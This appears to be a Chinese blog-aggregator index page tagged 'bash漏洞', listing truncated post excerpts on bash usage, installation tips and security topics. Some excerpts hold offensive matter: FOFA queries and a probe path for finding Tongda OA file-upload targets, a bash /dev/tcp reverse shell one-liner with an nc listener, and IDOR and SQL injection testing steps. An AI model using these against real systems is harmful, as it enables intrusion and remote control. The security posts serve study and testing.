bash漏洞

通达OA文件上传漏洞

0x01fofa收集目标title="网络智能办公管理系统"app="通达OA"0x02测试是否存在上传漏洞访问[ip地址:端口]/general/vmeet/wbUpload.php响应200，则可能存在漏洞
q1ya·2024-08-24 17:40

深入底层：汇编语言调试的艺术与挑战

调试的基本概念调试（Debugging）是软件开发过程中识别、定位和修正程序中错误或漏洞的过程。在汇编语言层面，调试意味着直接与机器指令打交道，理解程序如何在硬件上
2401_85742452·2024-08-24 17:40

Linux：Bash中的命令介绍（简单命令、管道以及命令列表）

spm=1001.2014.3001.5482在Bash中，命令执行的方式可以分为简单命令、管道和命令列表组成。这些结构提供了强大的工具，允许用户组合命令并精确控制其执行方式。
日晨难再·2024-08-24 17:07

mac安装指定版本的ruby_如何在Mac 终端升级ruby版本

单用户安装命令：bashPreference->Download下，查看“CommandL
hirochuu8·2024-08-24 17:37

在Mac电脑安装Homebrew并且配置环境变量

解决：国外的链接容易下载安装失败，国内的镜像速度快，成功率高，进入终端输入以下你所需的链接命令即可：国外链接：/bin/bash-c"$(curl-fsSLhttps://raw.githubusercontent.com
木之泪·2024-08-24 14:20

Jackson 反序列化漏洞

文章目录Jackson反序列化漏洞利用条件Jackson反序列化漏洞原理漏洞利用过程漏洞示例Jackson反序列化漏洞黑盒测试方法猜测后端是否有JacksonJackson反序列化漏洞利用条件1.DefaultTyping
B1ackMa9ic·2024-08-24 13:45

【反序列化漏洞】关于反序列化漏洞的杂谈1 -- Apache Dubbo 反序列化漏洞 CVE-2023-29234

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、经典的序列化过程二、反序列化漏洞案例1.ApacheDubbo反序列化漏洞（CVE-2023-29234）2.解析漏洞问题
B1ackMa9ic·2024-08-24 13:44

Linux常用应急排查命令(持续更新)

history（1）使用history查看历史命令，分析攻击者使用过何命令history（2）但攻击者也能回使用history-c清除掉历史命令history-c（3）使用cat查看cat/root/.bash_history
啊醒·2024-08-24 13:44

【Apache】漏洞

文章目录Apache漏洞1.ApacheHTTPD多后缀解析漏洞2.ApacheSSI远程命令执行漏洞3.ApacheHTTP路径穿越漏洞4.ApacheHTTPSSRF漏洞5.Apachelog4j26
B1ackMa9ic·2024-08-24 13:11

npm install报错解决问题

你可以通过运行以下命令来清理缓存：bash复制代码npmcacheclean--force注意
软件技术NINI·2024-08-24 12:07

云计算遭遇的主要安全威胁

云计算环境中的数据泄露通常由于不安全的配置、软件漏洞或内部威胁造成。
坚持可信·2024-08-24 11:58

教育教学故事——画圆

中原焦点团队，焦点幸福教师坚持分享第1537天2021.5.25周二最近学习时分秒，时不时会问孩子有关时间方面问题，比如，问他们几点上的课，现在几点了，大约过了多长时间，学生最近学习容易理解，可是做题时漏洞百出
L次第花开·2024-08-24 07:15

云计算day28

/bin/bashmkdir/tmp/threetouch/tmp/three/testecho'iamecho,atmttt'>/tmp/three/testecho'welldone'[root@localhost
巭氼·2024-08-24 07:03

信息收集网站和漏洞平台

信息收集网站天眼查https://www.tianyancha.com/advance/search天眼查是一款专注于企业信息查询和商业调查的在线工具，提供全面的企业背景、股东信息、法律诉讼、财务状况等数据。它帮助用户了解企业的真实情况，进行信用评估和风险管理，为商业决策提供支持。通过天眼查，用户可以便捷地获取权威、详尽的企业信息，提升商业透明度FOFAhttps://fofa.info/FOFA
Wrop·2024-08-24 04:10

Jenkins实现前端项目自动化构建

1.Git安装及Gitlab账号配置①安装Gitbashyuminstallgit-y#安装gitgit--veriosn#验证是否安装成功安装完成后测试git是否安装成功，若安装成功会返回版本号，如：
测试界筱筱·2024-08-24 03:09

【网络安全】P2：访问控制失效

文章目录正文正文该漏洞允许我绕过电子邮件验证步骤，无需我点击发送到我的收件箱的链接。某应用程序提示我，只有验证我的帐户才能使用网站上的一项功能。
秋说·2024-08-24 03:37

由牛郎织女故事中的一个漏洞说起

偶然有次看到一位老师说，牛郎织女的故事经不起推敲。民间故事中说织女在河中洗澡，牛郎偷看并藏起了织女的衣服，后来织女发现牛郎忠厚老实，就愿意嫁给他。这个故事的逻辑确实很奇葩。一个偷看织女洗澡并偷藏其衣服的人竟然是忠厚老实，结果更奇葩的是织女爱上了他，织女的是非观念如此混乱，这种眼光真令人不敢苛同，这做法真够离谱的。我不由想到，难道现在一些人不忠厚，不老实，就是因为没有偷看他人洗澡并偷藏他人的衣服吗！
山月映雪·2024-08-23 23:18

linux 离线安装python

安装jdk具体操作如下：1、下载jdk安装包到服务器2、解压tar-zxvfjdk-8u131-linux-x64.tar.gz3、配置环境变量3.1、vi~/.bash_profile3.2、在.bash_profile
kevin529_super·2024-08-23 23:13

常见 反弹shell的方法

Bash反弹1.1方法一攻击者主机上执行监听：nc-lvvpport目标主机上执行：bash-i>&/dev/tcp/x.x.x.x/port0>&1#bash-i打开
A 八方·2024-08-23 19:14

2022-11-10

自卑的我，害怕别人眼光，害怕被别人议论，做什么都想面面俱到，但每次都是处处漏洞。我很厌烦，戴面具的生活方式真的很累。
a2bede03a371·2024-08-23 18:20

DVWA靶场通关（CSRF）

CSRF属于业务逻辑漏洞,服务器信任经过身份认证的用户。漏洞利用前提：:用户必须登录、黑客懂得一些发包的请求,服务器端是不会有二次认证的，被害者是不知情的
马船长·2024-08-23 15:50

为Windows Terminal 配置zsh + Oh-My-Zsh

blog.cloudorz.com/post/configure-zsh-for-windows-terminal/https://zhuanlan.zhihu.com/p/455925403本文以GitBash
极北之南。·2024-08-23 14:17

SQL 注入 漏洞测试 POP 注入 windows和Linux均可使用，已测试成功

目录前言SQL注入SQL注入的种类常见的注入点预防措施示例POP注入的基本概念KaliLinux上使用Nmap、Metasploit和其他工具进行POP3服务的漏洞测试1.初步扫描2.检查已知漏洞3.使用
3分云计算·2024-08-23 11:57

纪念第一次面试安服-靶机测试过程以及思路

查看站点源码信息（html\css\js）3遍历目录，访问可访问站点（发现登陆界面）4解码站点有用信息（图片、文本）5登陆界面dirb中进行路径爆破6抓包、更改request分析登陆界面7寻找web服务器漏洞
寻址00000001·2024-08-23 10:21

可以攻击华为、中兴IoT设备的僵尸网络

Mozi利用弱Telnet口令和近10个未修复的iot设备漏洞来执行DDoS攻击、数据窃取、命令和payload执行。
H_00c8·2024-08-23 10:44

mac终端代理配置指南

如果你的系统是较新的版本（macOSCatalina及以上），你应该使用~/.zshrc文件；对于旧版本系统，可能仍使用~/.bash_profile。打开终端应用程序，输入以下命
heromps·2024-08-23 07:35

构造一个shell脚本，根据输入的字符串分别调用方法

/bin/bash#定义方法afunctiona(){echo"方法a被调用"#这里可以添加方法a的具体操作代码}#定义方法bfunctionb(){echo"方法b被调用"#这里可以添加方法b的具体操作代码
极北之南。·2024-08-22 22:06

autodeploy.sh- 一个简单的shell脚本

/bin/bashBASE_DIR='/opt/basedir'DEPLOY_DIR='/opt/upay/deploydir'echo"开始创建本地文件系统..."
ouanui·2024-08-22 22:35

MSYS2 MSYS、MINGW32、MINGW64、UCRT64、CLANGARM64、CLANG64不同子系统环境之间的区别

主要特点包括：POSIX兼容性：通过提供一个类似Linux或Unix的shell环境（如bash），使得开发者可以在Wind
星河繁·2024-08-22 18:46

第13章 网络安全漏洞防护技术原理与应用

第13章网络安全漏洞防护技术原理与应用13.1网络安全漏洞概述13.1.1网络安全漏洞概念漏洞一般是致使网络信息系统安全策略相冲突的缺陷。
sinat_34066134·2024-08-22 16:59

【web安全】PDF写入XSS攻击

一开始研究用现成的PDF编辑器工具写入，发现又要VIP，又比较繁琐还不如用Python装一个库，写代码来的快捷所以采用了PyPDF2这个库来写入基础用法在渗透测试中，能触发弹窗就算是一个漏洞了#安装第三方库
星盾网安·2024-08-22 14:19

tomcat9漏洞CVE-2024-23672

序号漏洞名称影响主机个数1ApacheTomcat安全漏洞(CVE-2024-23672)1/12ApacheTomcat输入验证错误漏洞(CVE-2024-24549)1/1漏洞名称：CVE-2024
耳边轻语999·2024-08-22 13:45

总结了90条简单实用的Python编程技巧_python实操题技巧(1)

建议13：尽量将变量转化为浮点类型后再做除法（Python3以后不用考虑）建议14：警惕eval()函数的安全漏洞，有点类似于SQL注入建议15：使用enumerate()同时获取序列迭代的索引和值建议
性能优化Java开发·2024-08-22 13:44

fabric 2.5 使用jar安装Java合约（解决Fabric安装Java链码速度慢的问题）

/usr/bin/envbashset-exINPUT_DIR=/chaincode/inputOUTPUT_DIR=/chaincode/outputTMP_DIR=$(mktemp-d)NUM_JARS
冲上云霄的Jayden·2024-08-22 12:11

Spring Cloud Function现SPEL 表达式漏洞，SPEL 表达式是个啥？

SpringCloudFunction现SPEL漏洞近日，SpringCloudFunction官方测试用例曝光了SpringCloudFunctionSPEL表达式注入漏洞，可利用该漏洞通过注入SPEL
强哥叨逼叨·2024-08-22 12:45

-bash: sqlplus: command not found

https://blog.csdn.net/Ruishine/article/details/120128565?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-120128565-blog-106715035.pc_releva
michaelxwang·2024-08-22 09:16

ubuntu | /bin/bash: warning: setlocale: LC_ALL: cannot change locale (en_US.UTF-8)

/bin/bash:warning:setlocale:LC_ALL:cannotchangelocale(en_US.UTF-8)本地化是指不同地区用户在键盘上输入不同语言的字符集。
m0_57195758·2024-08-22 08:46

pytorch | with torch.no_grad()

/bin/bash\n")sh.write("#$-N"+'IC'+altas+str(patien
Ddddddd_158·2024-08-22 08:41

网购漏洞都是哪里来的？不发货怎么能让他们发货？

淘宝漏洞单的存在，有可能是淘宝卖家设置错误而造成的(这样种可能性会比较低)，还有肯是卖家为了营销而设置的，那我们怎么找到淘宝漏洞单呢?1、百度搜索淘宝漏洞单，然后加入优惠群。
高省APP·2024-08-22 01:37

【网络安全】漏洞挖掘：IDOR实例

未经许可，不得转载。文章目录正文正文某提交系统，可以选择打印或下载passport。点击Documents>Download后，应用程序将执行HTTPGET请求：/production/api/v1/attachment?id=4550381&enamemId=123888id为文件id，enameID为用户身份id。更改id为4550380，发现能够未授权下载他人passport，因此，遍历即可
秋说·2024-08-22 00:25

进程和任务管理器

一、查看和控制进程1.1ps命令（1）ps命令——查看静态的进程统计信息（ProcessesStatistic）PIDTTYTIMECMD1579pts/100:00:00bash1730pts/100
这是九月·2024-08-22 00:24

堆溢出 Use After Free(UAF)

在CTF（CaptureTheFlag）竞赛中，UseAfterFree（UAF）是一种常见的内存安全漏洞，它发生在程序对已经释放的内存进行访问或操作的时候。
无极921·2024-08-21 23:19

sql注入过程

id=1’，请求中的参数为：查询字符串id:1(字符型漏洞要在id后面加上‘，数字型不需要)判断是否存在SQL注入可能在末尾加上and1=1--+,返回正常，加上and1=2,报错，说明SQL语句被执行
じ 耐人·2024-08-21 23:18

《食罪者1》书评

先给没看过的说一下，请耐心度过前期内容，中后期挺不错的作者感觉是慢热型写手，本书开头漏洞确实挺多，但是能明显感觉到越往
4ec518e3e48f·2024-08-21 23:21

学会辨识「漏洞炒作」你就比别人强！

昨天，最受欢迎的开源轻量级Java框架Spring被曝存在高危的RCE（远程控制设备）零日漏洞，北京大学计算中心、外媒praetorian、bleepingcomputer等站点对该漏洞进行了报道。
强哥叨逼叨·2024-08-21 22:49

mac zsh模式下安装kubectl命令自动补全工具

按照关键字“mackubectl命令自动补全”搜索，结果基本都是以bash模式写的，如下：因为我现在的mac默认使用的shell是zsh，所以按照上述方式并不能安装kubectl的命令自动补全工具。
杨Jack·2024-08-21 21:34

pulsar集群部署

openjdk11openjdk11下载压缩包上传到指定路径并解压tar-xvfopenjdk-11.0.0.2_linux-x64.tar.gz&&mvjdk-11.0.0.2/jdk11配置指定用户的环境变量vi~/.bash_profile
Dragon-qwe·2024-08-21 20:25

大前端-postcss安装使用指南

打开命令行窗口，输入以下命令：bash复制代码npminstallpostcss--save-dev这将把
黑夜照亮前行的路·2024-03-29 08:41

日精进

【早上好#淑萍#20230605日精进335】分享嘉宾：海明教练社群运营架构专家全域流量孵化教练个人品牌超千万利润打造高手基本的创业者，对于商业模式的设计都是有漏洞的。
石淑萍·2024-03-27 08:29

centos7中的MySQL安装

/bin/bashcd/rootmkdirmysql_tarwgethttps://downloads.mysql.com/archives/get/p/23/file/mysql-community-server
老伙子53·2024-03-27 00:16
上一页 4 5 6 7 8 9 10 11 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他